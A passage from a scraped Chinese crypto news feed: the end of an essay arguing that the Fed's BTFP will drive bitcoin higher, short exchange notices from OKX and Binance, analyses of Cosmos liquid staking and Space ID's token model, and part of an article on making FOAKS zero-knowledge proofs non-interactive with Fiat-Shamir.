个基点。市场正在尖叫着银行系统引发的通货紧缩，美联储最终会听进去的。 随着银行开始盈利，并可以再次与政府竞争吸引储户回流，银行最终将面临与 2021 年相同的情况。也就是说，存款将会增长，银行将突然需要开始放贷更多的钱。他们将开始以较低的名义收益率为企业和政府提供贷款。再一次，他们会认为通货膨胀是看不到的，所以他们不会担心未来的利率上升。这听起来熟悉吗？ 然后，2024 年 3 月就到了。BTFP 计划即将到期。但现在，情况甚至比 2023 年更糟。银行低息商业贷款和低息政府债券组合的总规模甚至比一年前还要大。如果美联储不延长该计划的期限，不扩大合格债券的数量，那么我们现在看到的类似银行挤兑很可能会再次发生。 鉴于美联储对银行因管理决策失误而倒闭的自由市场没有兴趣，美联储永远无法取消它们的存款担保。BTFP 万岁。 虽然我敢肯定，这对所有 Ayn Rand 崇拜者（如 Ken Griffin 和 Bill Ackman）来说都是令人厌恶的，但 BTFP 的延续为美国政府解决了一个非常严重的问题。美国财政部有大量债券可供出售，而越来越少的人想要持有这些债券。我相信，BTFP 将得到扩大，美国银行资产负债表上的任何符合条件的证券 ( 主要是国债和抵押贷款 ) 都有资格以 1 年期利率兑换新印的美元。这让银行感到欣慰，因为随着它们存款基础的增长，它们总能以无风险的方式购买政府债券。银行再也不用担心利率上升、它们的债券贬值、储户想要回他们的钱时会发生什么。 有了新扩大的 BTFP，财政部可以很容易地为越来越大的美国政府赤字提供资金，因为银行总是会买任何可以出售的东西。银行并不关心价格是多少，因为他们知道美联储是他们的后盾。一个对价格敏感、关心实际回报的投资者，会对购买更多、更多、更多、数万亿美元的美国政府发行的债券嗤之以鼻。国会预算办公室估计，2023 年的财政赤字将达到 1.4 万亿美元。美国还在多条战线上作战：对抗气候变化的战争，对抗俄罗斯 / 中国的战争，以及对抗通货膨胀的战争。战争会导致通货膨胀，因此预计赤字只会进一步上升。但这不是问题，因为银行会购买所有外国人 ( 尤其是中国和日本 ) 拒绝购买的债券。 这使得美国政府能够运行同样的增长剧本，该剧本曾为中国、日本、台湾和韩国创造奇迹。政府制定的政策确保储户的存款收益低于名义 GDP 增长率。政府可以通过向任何它想要促进的经济部门提供廉价信贷来实现再工业化，并从中获利。「利润」帮助美国政府将债务占 GDP 的比例从 130% 降低到更可控的水平。虽然每个人都可能欢呼「耶，成长！」，实际上，整个公众都在以[名义 GDP - 政府债券收益率]的比率隐形地支付通货膨胀税。 最后，这解决了一个光学问题。如果投资公众认为美联储正在兑现政府的支票，他们可能会反抗并抛售长期债券 (>10 年期 )。美联储将被迫介入并确定长期债券的价格，这一行动将标志着西方金融体系以当前形式走向终结的开始。日本央行也遇到了这个问题，并实施了一个类似的计划，即央行向银行贷款，以购买政府债券。在这种体系下，债券永远不会出现在央行的资产负债表上，只有贷款出现在资产负债表上，从理论上讲，这些贷款必须由银行偿还，但实际上，它们将永久展期。市场可以庆幸央行没有朝着 100% 拥有政府债券市场的目标迈进。自由市场万岁！ 油价和大宗商品的下跌总体上告诉我们，市场认为通货紧缩即将到来。通货紧缩即将到来，因为发放给企业的信贷将非常少。没有信贷，经济活动就会下降，因此需要的能源就会减少。 大宗商品价格下跌有助于美联储降息，因为通胀将会下降。美联储现在有了降息的借口。 对美联储来说，最可怕的结果是人们将自己的资本转移出金融体系。在为存款提供担保之后，美联储并不关心你是否将资金从 SVB 转移到收益率更高的货币市场基金。至少你的资金还在购买政府债券。但如果你买了一项不受银行系统控制的资产呢？ 像黄金、房地产和比特币这样的资产 ( 显然 ) 不是别人资产负债表上的负债。如果银行体系破产，这些资产仍有价值。但是，这些资产必须以实物形式购买。 购买追踪黄金、房地产或比特币价格的交易所交易基金 (ETF) 并不能逃避通胀的潜在愤怒。你所做的只是投资于金融系统中某个成员的负债。你拥有索赔权，但如果你试图套现你的筹码，你将拿回法定厕纸——而你所做的只是向另一个受托人支付费用。 对于实行自由市场资本主义的西方经济体来说，实施广泛的资本管制是非常困难的。这对美国来说尤其困难，因为全世界都在使用美元，因为美国有一个开放的资本账户。任何对退出金融体系的各种手段的彻底禁止，都将被视为实施资本管制，届时主权国家持有和使用美元的意愿就会更低。 最好是让囚犯们不知道自己被关在笼子里。政府不会完全禁止某些金融资产，而是可能会鼓励 ETF 等资产。如果所有人都对 BTFP 的恶性通胀影响感到恐慌，并将资金投入 GBTC( 灰度比特币信托 )，这对银行体系不会产生任何影响。进入和退出产品时必须使用美元。你逃不掉的。 小心你的愿望。真正在美国上市的比特币 ETF 将是一个特洛伊木马。如果这样的基金获得批准，并吸收了大量比特币供应，它实际上将有助于维持现状，而不是给人们带来财务自由。 此外，要注意你「购买」比特币，但不能将你的「比特币」提取到你自己的私人钱包的产品。如果你只能通过法定银行系统进入和退出产品，那么你将一事无成。你他妈就是一头收费驴。 比特币的美妙之处在于它是无重量且无形的。它的存在没有外在的表现。你可以记住一个比特币私钥，任何时候你想花钱，你只需要上网就可以交易。拥有大量黄金和房地产是沉重的，也是显而易见的。黛西用跑车撞死了那个可怜的人，盖茨比为什么会引起注意呢？这是因为它是一种引人注目的汽车，一眼就能认出来。类似的情况也可能发生在一栋该死的大豪宅或一堆必须由武装警卫 24 小时保护的黄金上。这些储蓄工具和相关的财富展示是在邀请被其他公民抢劫——或者更糟的是，被你自己的政府抢劫。 显然，法币是有一席之地的。用它做它该做的事。花法币，存加密货币。 在与这位对冲基金人士共进晚餐后，我说，在与他交谈后，我对比特币的看法变得更加乐观了。游戏结束了。收益率曲线控制在这里。BTFP 在全球范围内带来了无限的印钞。 随后的比特币上涨将是有史以来最令人讨厌的上涨之一。在 2022 年发生了这么多糟糕的事情之后，比特币和加密市场如何才能整体大幅反弹？难道人们不知道比特币和与之相关的人都是人渣吗？难道人们不害怕比特币导致大银行倒闭，并几乎吞噬了美国银行体系的说法吗？ 媒体也可能会推动这样一种说法，即这场银行业危机的发生是因为银行接受了加密人士的法定存款。这太滑稽了，我一想到它就捧腹大笑。认为银行 ( 其工作是处理法定美元 ) 从一群与加密相关的实体那里接受法定美元，遵循 ( 至少据我们所知 ) 所有的银行规则，将这些法定美元借给人类历史上最强大的国家，随后无法偿还储户，因为帝国的中央银行提高了利率，摧毁了银行的债券投资组合，这种想法显然是荒谬的。 相反，加密货币的所作所为再次证明，它是腐败、挥霍、由法律驱动的西方金融体系的烟雾报警器。在上升的过程中，加密货币标志着西方以 COVID 的名义印了太多的钱。在下跌的过程中，加密货币自由市场迅速暴露出大量过度杠杆化的骗子。即使是 FTX 多元体系也没有足够的爱心来克服加密自由市场的迅速正义。这些应受谴责的个人 ( 以及与他们有业务往来的人 ) 散发出的恶臭，驱使储户把自己的血汗钱带到更安全、( 据说 ) 更有信誉的机构。在这个过程中，美联储政策对美国银行体系造成的损害有目共睹。 对我和我的投资组合来说，我基本上已经完成了股票交易。重点是什么？我通常买入并持有，不会频繁地交易我的头寸。如果我相信我所写的，那么我就是在为自己的表现不佳做准备。如果有一个短期的交易机会，我认为我可以快速赚到一些法币，然后用我的利润去买更多的比特币，我就会这么做。否则，我将清算我的大部分股票投资组合，并将其转移到加密货币领域。 如果我持有任何涉及贵金属或大宗商品的 ETF，我将卖出这些 ETF，并在可能的情况下直接买入并储存这些商品。我知道这对大多数人来说不现实，但我只是想表明我对这一点的信念有多深。 我对股票不屑一顾的唯一例外是核能相关公司。西方国家可能会对核能嗤之以鼻，但新兴国家正在寻找廉价、充足的能源来为其公民提供良好的生活。核能迟早会推动全球经济增长，但个人不可能储存铀——因此我不会对我的 Cameco 头寸采取任何行动。 我必须确保我的房地产投资组合在不同的司法管辖区是多样化的。你必须住在某个地方，如果你能完全拥有自己的房子，或者以尽可能少的债务拥有房子，这就是你的目标。再说一次，如果没有必要的话，你不会想要依附于法定金融体系。 加密货币是不稳定的，大多数商品和服务都需要法币支付。这很好。我会把需要的现金存起来。我会尽量获得最高的短期收益。目前，这意味着投资于美元货币市场基金和持有短期美国国债。 我的杠铃投资组合加密 + 长期波动将保持不变。一旦我完成了转变，我必须确保我充分保护了我的缺点。如果在政府决定解除系统中嵌入的杠杆 ( 而不是继续增加杠杆 ) 的情况下，我对表现良好的工具没有足够的敞口，那么我必须增加对我最喜欢的波动性对冲基金的投资。除此之外，我的整个战略面临的唯一主要风险是，是否发现了一种比碳氢化合物密度大得多的新能源。当然，这样一种能源已经存在了——它被称为核能。如果政策制定者受到其公民的激励而实际建设必要的基础设施来支持核动力经济，那么所有的债务都可以用经济活动的惊人爆发来偿还。在这一点上，我不会从我的加密货币或波动性对冲上赚钱。但是，即使有建立基础设施的政治意愿，也需要几十年才能完成。我将有足够的时间重新调整我的投资组合，以适应核能时代。 鉴于这篇文章已经很长了，我无法详细介绍我对 BTFP 和效仿计划将如何破坏全球金融体系的预测。我希望我的预测可以根据现实来判断。这是自新冠疫情以来最重要的金融事件。在随后的文章中，我将回顾 BTFP 的影响如何与我的预测相吻合。我知道我对比特币上涨轨迹的难以置信的信念可能是错误的——但我必须根据事件的实际发生来判断，如果事实证明我错了，就调整我的头寸。 结局总是提前知道的。YCC 死了，BTFP 万岁！现在我要让抹茶温暖我的灵魂，凝望樱花的美丽。  ( 8 min )
    OKX平台网络服务器出现问题，正在紧急修复中
    PANews 3月17日消息，OKX发推表示，平台网络服务器短暂遇到问题，已经核查到原因，目前工程师正在紧急修复中。资产在平台是安全的，会第一时间同步修复进度。状态页面显示，交易、资金划转功能预计暂停 35 分钟。 随后，于下午5:18 (UTC+8) 开放撤单、Post Only 下单和资金转入功能，约 下午5:27 (UTC+8) 恢复正常交易。  ( 4 min )
    以太坊LSD大红大紫，COSMOS生态又存在哪些机会？
    撰文：yyy 这条推文来聊一聊 Cosmos 生态的 LSD 赛道，与近期火热的以太坊 LSD 相比，无论从市场关注度还是 LSD 资产总量，前者都鞭长莫及。 从单一指标流动性质押率看， $ETH 高达 41.9%，而 $ATOM 仅为 0.4%. 这超过 100 倍的「缺口」背后，存在着怎样的缘由及蕴含着怎样的潜力呢？ TLDR 如前所述，以太坊 LSD 赛道如日中天，而 Cosmos LSD 赛道看似风平浪静，实则暗潮汹涌，蕴含着巨大的潜在机会。 本文将从多个维度概览 Cosmos 生态 LSD 赛道的相关协议，抽丝剥茧地论述其远远未被充分挖掘的原因，以期找到一些早期机会。 据 DefiLlama 相关数据显示，流动质押 $ETH 的 TVL 已突破百亿大关，达到 132.8 亿美元 (7.75M ETH). $ETH 的流动质押比例 ( 流动质押资产总量 / 已质押资产总量 ) 为 42.9%。 ETH LSD 赛道衍生出了 10+ LSD 协议，其中仅 @LidoFinance 就蚕食了近 75% 的市场份额，具有明显的马太效应。 反观 Cosmos LSD 赛道，已质押 $ATOM 市值为 25.7 亿美元，而流动质押 $ATOM 市值仅为 1100 万美元左右，流动质押率仅为 0.43%。 这是一个数十亿级别的潜在市场 ( 如果 ATOM 的流动质押率可以与 ETH 相当 )。 在分析两者间存在巨大差异的原因前，我们先来看看目前 Cosmos 生态都有哪些 LSD 协议 / 应用链。 Cosmos 生态 LSD 项目概览 目前已上线主网的 LSD 项目，按流动质押 $ATOM 的资产总量由大到小排序分别为：@pStakeFinance stkATOM, @stride_zone stATOM, @StaFiHub_ rATOM, @quicksilverzone qATOM. Cosmos 生态仅此 4 个 LSD 协议上了主网，多链 DEX @wynddao 也即将推出 LSD 功能。 接下来从几个维度对上述 4 大 LSD 协议进行横向对比：流动质押机制、安全性和链的定位。 1) 流动质押机制； $ATOM 流动质押的不便之处在于：为保持 Cosmos Hub 的「极简」功能，Hub 上没有 Defi 的应用场景。要获取 LSD 收益，原则上要把 $ATOM 桥接到其它可以提供 LP/ 借贷等应用场景的 App-Chain 上。 得益于 ICA( 链间账户 ) 的推出，上述问题得到很大程度的改善。例如，用户通过 LSD 协议进行 $ATOM 的流动质押操作，其实就是将 $ATOM 「交给」由 LSD 控制的 Cosmos Hub 上的 ICA 模块。 以上 4 个 LSD 协议的实现均通过 ICA. 2) 安全性； @stride_zone 是共享 Cosmos Hub 安全性 (ICS), 可以决定共享安全的比例：如 80% 的安全性由 Cosmos Hub 负责，剩下的 20% 安全性由自己的 validator set 负责。 Quicksilver 本来也是打算走 ICS 的，现在没下文了。所以，除了 Stride 外，其他 LSD 协议的安全性都由它们自己的 validator set 去负责。 3) 链的定位。 同样有别于以太坊上的 LSD 协议，Cosmos LSD 协议本质上是一条 App-chain 或基于 App-chain 构建。 但 App-chain 设计理念之间有差异。Stride 的设计是「极简」链，链上不再部署其它任何 dapp, 让代码最少化，降低被黑客攻击的可能性。 Stride 的「极简」理念可以类比于 Cosmos Hub。与之相反的是，Quicksilver/ pStake/ StaFiHub 的定位并非「极简」，pStake/ StaFiHub 有部署其它智能合约，而 Quicksilver 也明确表示计划会有其它智能合约部署。 更多详细的对比可参考 @stride_zone Blog 的最新文章： https://stride.zone/blog/overview-and-comparison-of-cosmos-liquid-staking-providers… 接下来聊一聊 Cosmos LSD 赛道存在的一些问题，以及我认为蕴含巨大潜力的原因。 1) 可组合性； 以太坊上的 LSD 协议有非常丝滑的可组合性，提高了用户的体验。举个例子，用户通过 @LidoFinance 存入 ETH 获得 stETH, 此时可以直接切换至 Curve 协议，为 ETH/ stETH LP 池提供流动性获得超额收益。 这种可组合性是建立在 LSD, DEX, 借贷等 Dapp 都部署在以太坊的基础上的，不存在原生资产 / 流动质押资产跨链的问题。 而对于 Cosmos LSD 协议而言，不具备这样的可组合性优势。ICA 的集成只是解决了原生资产 ( $ATOM) 的跨链问题，并没有解决流动质押资产的跨链问题。 例如，用户通过 Stride 质押 $ATOM 获得质押凭证 stATOM, stATOM 需要跨链到 Osmosis 链，然后再为 ATOM-stATOM LP 池提供流动性获取收益。 但可组合性并非最致命的问题，虽然涉及跨链，但可以在一定程度上优化 ( 如 Osmosis 推出的「无感」跨链 )。 而质押凭证的应用场景局限性成为横跨在 Cosmos LSD 协议面前的一座大山。 就以太坊的 LSD 协议而言，ETH 除了 POS 质押收益外，还包括协议资产激励、息差套利、「再打一份工」三种超额收益来源。( 参照妙娃老师 @NintendoDoomed 的文章 ) 关于具体的收益划分，文章已阐述得非常清晰，此处不再赘述。 https://capitalismlab.substack.com/p/lsd-728 2) 质押凭证应用场景； 再来看 Cosmos LSD 协议流动质押资产的应用场景，目前能获得超额收益主要来自协议资产激励这一环。 如 Stride/ @pStakeFinance 在 @osmosiszone 和 @CrescentHub 上均部署了 LP, 但由于 Cosmos 生态并未出现一些头部的借贷协议，息差套利部分的收益未充分体现。 既然 Cosmos LSD 赛道存在上述问题，看好又是基于怎样的逻辑呢？ 我个人看好的原因：  1) Cosmos 生态的繁荣会直接扩展 LSD 代币的应用场景；如 Dephi 孵化的借贷协议 @mars_protocol 的上线，随着 Cosmos 生态借贷体系的完善， $ATOM 质押凭证作为生态内的蓝筹资产是非常优质的抵押物。 2) 底层基础设施的完善将极大提高 LSD 用户的交互体验；如前所述，ICA 的集成、Osmosis 的无感跨链、ICS 集成赋能质押的 $ATOM 等。 3) 应用链相对于 Dapp 与生俱来的代币赋能优势。LSD 收益最核心的部分是协议代币激励，维持激励代币的价格就显得尤为重要了，激励将直接影响 LP 的深度。 对于 LSD App-chian 而言，协议代币既能作为 gas 又能作为节点质押，代币具有更多的应用场景。相对于 Dapp 协议代币而言，更容易维持币价的稳定。 以上就是我对 Cosmos LSD 赛道的一些思考，一起期待一场 Cosmos LSD War 的到来。  ( 6 min )
    币安将在Shapella升级后一周内支持ETH2.0质押提现
    PANews 3月17日消息，币安发布公告称，由于即将到来的以太坊Shanghai和Capella 升级（统称为Shapella升级），将支持ETH 2.0质押提现，币安将在以太坊网络上线此功能后的一周内，支持从ETH 2.0质押产品页面进行ETH提现。 参与ETH 2.0质押的用户在功能上线后，可在币安ETH 2.0质押页面按1:1的比例，将BETH兑换成ETH。 Shapella升级后，用户也可以继续随时参与币安ETH 2.0 质押，并赚取BETH奖励。  ( 4 min )
    详解币安Launchpad项目Space ID：经济模型、空投细则及如何获得后续空投
    3月16日币安官方宣布将上线第30个Launchpad项目Space ID（ID），此次售卖将基于投入模式，为BNB专场。具体为根据用户在币安5日的BNB日平均持仓确定用户可投入额度。BNB持仓快照周期为北京时间2023年3月17日上午8时至2023年03月22日上午8时。与此同时，Space ID官方也宣布其代币总供应量的10%预留给社区空投。 本文PANews将为你详解Space ID的运营进展、代币经济模型、预期市值、空投细则，以及如何获得后续空投。 SPACE ID是基于BNB链和Arbitrum One链的去中心化域名协议，为用户提供一站式Web3域名和身份的平台。根据官方博客信息，SPACE ID于2022年4月份宣发，并开启.bnb域名的预注册申请和公开注册。当时在SPACE ID社区的早期和活跃成员、社区贡献者、合作伙伴等获得了优先申请.bnb域名的机会。 2022年7月，SPACE ID获得BNB链上MVBV孵化项目参与者名单。9月份获得币安实验室的种子轮投资，并与BNB Chain生态系统中的许多项目进行合作和集成。10月份获得BNB链第五批Web3加速器计划获奖名单。2023年2月7日，SPACE ID宣布完成由Polychain Capital和dao5领投的1000万美元战略融资，其他机构和行业领导者参投。 SPACE ID域名服务推出后，其推出了基于IPFS的bnb.me，搭建一种访问托管在去中心化网络上的网站的方式，为用户提供了一个简单易用的网站构建器，可以帮助用户在不到一分钟的时间内上线一个去中心化网站。 2022年10月份推出礼品卡服务。礼品卡是BEP-1155类型的NFT，可以上架和转让赠送。它包含可以兑换成SID Point的价值，SID Point只能在SPACE ID主网上使用，可以通过用户购买的或从活动或赠品中收到的礼品卡来兑换获得。SID Point与美元的比例为1:1，目前有3种不同价值的SPACE ID礼品卡：650美元、160美元和5美元，分别可以兑换650、160和5个SID Point。 2022年11月份上线推荐计划，.bnb域名持有人可以通过分享推荐获得佣金。邀请人数越多，获得的佣金比例越高。推荐人最多可获得被邀请人注册费的15%。 2023年1月份.bnb域名服务与BNB链区块浏览器BscScan集成，用户可以使用.bnb域名搜索链上交易数据，在BscScan上显示可读的.bnb域名而不是传统地址。2023年2月份与Web3域名服务商ARB ID团队加入SPACE ID 2.0生态，共同打造通用名称服务网络。 根据区块浏览器数据，SPACE ID自去年九月中旬推出至3月16日晚间，其.bnb域名注册数为454200个，独立持有地址为263747个。与ARB ID团队联手在2023年2月推出的SPACE ID .arb域名服务目前注册数量为96964个，独立持有地址为72503个。 根据Opensea数据显示，.bnb域名的三字符的域名数量为813个，四字符的域名数量为6766个，五个及五个以上字符的域名数量为446621个。.arb域名的三字符的域名数量为1128个，四字符的域名数量为3087个，五个及五个以上字符的域名数量为92749个。 .bnb域名中三个字符的域名服务费为650美元一年，四个字符的域名服务费为160美元一年，五个及以上字符的域名服务费为5美元一年。.arb域名中三个字符的域名服务费为500美元一年，四个字符的域名服务费为100美元一年，五个及以上字符的域名服务费为5美元一年。 据此可大致计算，SPACE ID团队通过.bnb域名收入为384万美元，ARB ID团队.arb域名收入为133万美元。根据多个NFT交易平台数据，.bnb域名当前总交易额为49744枚BNB，.arb域名当前总交易额为338ETH。 经济模型 SPACE ID的治理代币为ID，总供应量20亿枚。旨在在项目的决策过程中发挥关键作用，让用户对SPACE ID的方向和未来有发言权。ID代币是SPACE ID 生态系统增长和可持续性的重要组成部分，激励用户参与该项目并为其成功做出贡献。具体具有以下功能： 1）质押：质押ID代币可以获得SPACE ID域名NFT市场交易费用的折扣和SPACE ID域名的注册折扣。2）支付：用作SPACE ID生态系统和Web3名称SDK集成中的支付方式。3）治理： ID代币持有者可以参与SPACE ID DAO的提案并对其进行投票。 根据官方博客，ID代币总供应量的20%用于种子轮销售，释放周期为1年悬崖后以五年周期按季度线性释放；8%用于战略论销售，释放周期为1年悬崖后以三年周期按季度线性释放；15%归于核心团队，释放周期为1年悬崖后以五年周期按季度线性释放；7%归于顾问，释放周期为1年悬崖后以三年周期按季度线性释放；10%用于生态系统，释放周期为上线解锁50%，其余部分以三年周期按月线性释放；13%用于市场营销，释放周期为上线解锁10%，其余部分以四年周期按月线性释放；12%归于基金会，释放周期为以四年周期按月线性释放；10%用于社区空投，释放周期为上线解锁30%，其余部分以两年周期按月线性释放；5%用于币安Launchpad，上线全部解锁。 此模型中，团队通过销售分配代币总量的33%，获得超1250万美元（种子轮募资额度未知），分配给团队、基金会、顾问等共57%，分配给社区部分仅10%。由此可见，SPACE ID代币分配偏集中化，社区所获得的额度相对偏低。 根据币安研究报告披露出的数据，ID代币上线后的初始流通量为2.86亿（占代币总供应量的14.30%），一年后的流通量达到28.4%，2028年12月释放完毕。 预期市值 根据Coinmarketcap数据，ETH生态域名服务商ENS当前全流通市值为14.56亿美元，峰值为76亿美元，当前流通市值为2.94亿美元。根据Opensea数据，ENS域名当前总交易额为75000枚ETH。其三字符域名数量为41718个，四字符域名数量为92333，五字符及以上的域名数量为2124031个。据此数据，域名注册费收入估算为5209万美元（其中不包括域名续费所得收入） 根据SPACE ID此前披露的战略轮融资，可估算其战略轮募资价格为1000万/（20亿*0.08）=0.0625美元，据此价格计算，SPACE ID代币上线二级市场后初始流通市值为1787万美元，全流通市值为1.25亿美元。以币安Launhpad价格0.025美元计算，SPACE ID代币上线二级市场后初始流通市值为715万美元，全流通市值为5000万美元。 对比而言，ENS域名注册费收入为SPACE ID域名注册费收入的13.56倍，总交易额（折合当前美元价值）7.7倍。据此估算SPACE ID代币上线后全流通市值为ENS市值的十分之一，则ID代币市值为1.5亿美元左右，计算出其公允价格为0.075美元。若按流通市值的十分之一计算，则ID代币流通市值为2940万美元，其公允价格为0.1美元。此估算仅做参考，未纳入SPACE ID作为币安Launchpad项目，将在二级市场产生超乎合理估值的溢价因素。 根据官方博客，ID代币总供应量的10%预留给社区空投，其中社区空投部分中的21%（占总供应量的2.1%）将面向早期使用者空投，并已经快照资格，将在币安开启交易时向所有尝鲜SPACE ID的用户开放申领。早期使用者初次可一次性申领所有空投份额，无需锁仓，更多分发细节将在三天内公布。社区空投分配的其余部分将保留给未来活动中的贡献者，并将逐步释放。 用户现在可以关注SPACE ID的Voyage系列活动。该系列活动是一项忠诚度计划，专门针对社区且仅供社区使用。SPACE ID自2022年12月16日在Galxe上推出一系列活动，以奖励给所有核心忠实用户不可转让的Voyage NFT。 其第一季活动“Prime”要求用户关注官方推特、进入Discord频道并获得对应身份、引导用户设置钱包地址的域名Primary Name。第二季活动“Legacy”引导用户购买或兑换过一次SPACE ID礼品卡。 根据官方信息，其第三季活动“Awakening”于1月份开始。该赛季活动为用户带来新的挑战、更多的奖励，以及更多探索SPACE ID的机会。要参加SPACE ID Voyage，用户除必须注册一个 .bnb 或 .arb域名，并在SPACE ID官网设置Primary Name。此外，还需在个人推特昵称显示 .bnb域名名称。所显示的域名不必与持有的 .bnb域名完全匹配，只要包含 .bnb（允许使用前缀和后缀）即可。例如推特个人资料名称“Allen | 12345.bnb”为有效。第三季目前尚未截止，用户可至SPACE ID官方频道查询参与链接，以博取后续的ID空投。 总结 根据SPACE ID的规划，2023年第二季度将上线SID Launchpad for Custom TLD Domain Names，届时社区可以轻松构建和启动自定义TLD。上线多链域名基础设施，为域名提供多链支持。并将发布SPACE ID DAO。2023年第三季度在SPACE ID上实现ID代币作为支付货币，上线域名NFT门控商品商店，专为SPACE ID域名持有人提供个性化商品，同时开启开发者资助计划，以建立和进一步扩展生态系统。2023年第四季度上线ID代币质押功能，质押用户可以获得域名折扣和手续费折扣，并发布SPACE ID标识符（:冒号域名），可以代表所有身份和多链地址。 根据SPACE ID的经济模型，其将超50%的代币分配归官方所有，超30%用于销售，仅向社区分发10%，追溯性激励相对偏低，因此该模型较集中化。 根据其旗下域名的总交易额、注册数与ENS域名综合比较，均相差ENS域名10倍左右。这其中更多原因是ENS域名所具备的正统性和共识高度，但从其注册域名的字符位数三位数极少，五位数占比极高可看出，SPACE ID域名的注册用户更多为博取空投的预期而参与注册，出于共识炒作或使用而注册的用户数相对较低。 根据官方运营进展，SPACE ID官方针对此不断提高其域名的共识和使用需求。据币安研究报告披露，SPACE ID旗下的.bnb域名服务与100多个项目和协议（包括BscScan和Trust Wallet）成功集成。 同时，2023年2月1日SPACE ID计划推出升级版本SPACE ID 2.0。SPACE ID 2.0提供一站式Web3域名和身份平台来发现、注册、交易和管理Web3域名。在其官网也可看到SPACE ID聚合了ENS域名、arb域名和bnb域名。此外，SPACE ID 2.0还包含一个面向跨区块链开发者的Web3域名SDK和API，并且将推出多链域名服务，以支持更多的区块链。可以看出其意欲打破现有格局确立自己成为Web3域名平台中坚力量的规划。 在ENS域名目前尚未多链或从未有多链计划的前提下，SPACE ID整合其他多条EVM链及L2生态，为其构建域名服务，占领ENS域名没有触及到的领域，从商业模式而言未尝不是一种更优选择。至于SPACE ID的域名和平台版图能扩展到多大，是否真实符合市场需求，待进一步观察。  ( 5 min )
    如何将交互式的零知识证明协议改造为非交互式？
    撰文：康水跃，Fox Tech CEO；孟铉济，Fox Tech 首席科学家 密码学当中的零知识证明技术在web3世界有着广泛的应用，包括进行隐私计算、zkRollup等等。其中Layer2项目FOX所使用的FOAKS就是一个零知识证明算法。在上述的一系列应用当中，对于零知识证明算法而言，有两方面属性极为重要，那就是算法的效率以及交互性。 算法效率的重要性不言而喻，高效的算法可以明显的降低系统运行时间，从而降低客户端延迟，显著的提高用户体验和效率，这也是FOAKS致力于实现线性证明时间的一个重要原因。 另一方面，从密码学的角度来讲，零知识证明系统的设计往往依赖证明者和验证者的多轮交互。例如在许多介绍零知识证明的科普文章当中都会使用的“零知识洞穴”的故事当中，证明的实现就依赖于阿里巴巴（证明者）和记者（验证者）多轮的信息传递交互才能实现。但是事实上，在许多应用场景当中，依赖交互会使得系统不再可用，或者极高的增加延迟。就像在zkRollup系统当中，我们期望证明者（也就是FOX当中的folder）能够在本地，不依赖于和验证者交互的情况下就计算出正确的证明值。 从这个角度说，如何将交互式的零知识证明协议改造为非交互式，就是一个很有意义的问题。在这篇文章当中，我们将介绍FOX使用经典的Fiat-Shamir启发式（heuristic）来生成Brakedown中的挑战从而实现非交互式协议的过程。 零知识证明算法随着应用的铺开而变得异常火爆，近些年也诞生了包括FOAKS、Orion、zk-stark等在内的各种算法。这些算法，以及密码学界早期的sigma协议等的核心证明逻辑都是证明者（Prover）先将某个值发送给验证者（Verifier），验证者通过本地随机数产生一个挑战（Challenge），将这个随机产生的挑战值发给证明者，证明者需要真的有知识才能以大概率做出通过验证者的响应。例如在零知识洞穴当中，记者抛一个硬币，告诉阿里巴巴从左侧出来还是从右侧出来，这里的“左和右”就是对阿里巴巴的挑战，他如果真的知道咒语，就一定可以从要求的方向走出来，否则就有一半的概率失败。 这里我们注意到，Challenge的生成是一个很关键的步骤，它有两个要求，随机和不可被证明者预测。第一点，随机性保证了它的概率属性。第二点，如果证明者可以预测挑战值那就意味着协议的安全性被破坏了，证明者没有知识也可以通过验证，可以继续类比，阿里巴巴如果能预测记者要求他从哪边出来，他即使没有咒语也可以提前进入那一边，结果表现出来一样可以通过协议。 所以我们需要一种办法，能够让证明者自己本地生成这样一个不可预测的随机数，同时还能够被验证者验证，这样就可以实现非交互式的协议。 哈希函数的名字对我们来说或许并不陌生，无论是在比特币的共识协议POW当中担任挖矿的数学难题，还是压缩数据量，构造消息验证码等等，都有哈希函数的身影。而在上述不同的协议当中，其实是运用了哈希函数的各种不同性质。 具体来讲，安全的哈希函数的性质包括以下几点： 压缩性：确定的哈希函数可以将任意长度的消息压缩成为固定长度。 有效性：给定输入x，计算输出h（x）是容易的。 抗碰撞性：给定一个输入x1，希望找到另一个输入x2，x1x2，h（x1）= h（x2），是困难的。 注意，如果哈希函数满足抗碰撞性，那么必然满足单向性，也就是说给定一个输出y，要找出x满足h（x）= y是困难的。在密码学当中，还不能构造出理论上绝对满足单向性的函数，但是哈希函数在实际应用当中可以基本视作单向函数。 这样一来，可以发现上述的几种应用分别对应于哈希函数的几点不同的性质，同时我们说，哈希函数还有一个很重要的作用是提供随机性，虽然密码学理论当中要求的完美的随机数生成器目前也无法构造，但是哈希函数在实际当中同样可以充当这个角色，这就为我们后文介绍的Fiat-Shamir 启发式（Heuristic）的技巧提供了基础。 事实上，Fiat-Shamir 启发式（Heuristic）就是利用哈希函数来对前面生成的脚本进行哈希运算，从而得到一个值，用这个值来充当挑战值。 因为将哈希函数H视作一个随机函数，挑战是均匀随机的被选择，独立于证明者的公开信息和承诺的。安全分析认为Alice不能预测H的输出，只能将其当作一个oracle。在这种情况下，Alice在不遵循协议的情况下做出正确响应的概率(特别是当她不知道必要的秘密时)与H的值域的大小成反比。 图1: 利用Fiat-Shamir Heuristic实现非交互式证明 非交互式FOAKS 在本节，我们具体展示Fiat-Shamir启发式在FOAKS协议当中的应用，主要是用来产生Brakedown部分的挑战，从而实现非交互式的FOAKS。 首先我们看到，在Brakedown生成证明的步骤当中，需要挑战的步骤是“近似性检验”以及Merkle Tree的证明部分（读者可以参考之前的文章《一文了解FOAKS当中的多项式承诺协议Brakedown》）。对于第一点原本的过程是证明者在这里需要验证者产生的一个随机向量，计算过程如下图所示： 图2: 非交互证明FOAKS中的Brakedown Checks 现在我们使用哈希函数，让证明者自己产生这个随机向量。 令0=H(C1,R, r0,r1)，对应的，在验证者的验证计算当中，也需要增加这个计算出0的步骤。根据这样的构造，可以发现，在生成承诺之前，证明者并不能提前预测挑战值，于是不能提前根据挑战值来对应的“作弊”，也就是对应的生成假的承诺值，同时，根据哈希函数输出的随机性，这个挑战值也满足随机性。 对于第二点，令I=H(C1,R, r0,r1,c1,y1,c0,y0)。 我们使用伪代码给出改造后非交互式的Brakedown多项式承诺当中的证明和验证函数，这也是FOAKS系统当中使用的函数。 function PC. Commit()： Parse w as a kk matrix. The prover locally computes the tensor code encoding C1，C2 ，C1 is a kn matrix，C2 is a nn matrix. for i [n] do Compute the Merkle tree root Roott=Merkle.Commit(C2[:,i]) Compute a Merkle tree root R=Merkle.Commit([Root0,......Rootn-1]),and output R as the commitment. function PC. Prover(, X, R) The prover generates a random vector 0Fk by computing: 0=H(C1,R, 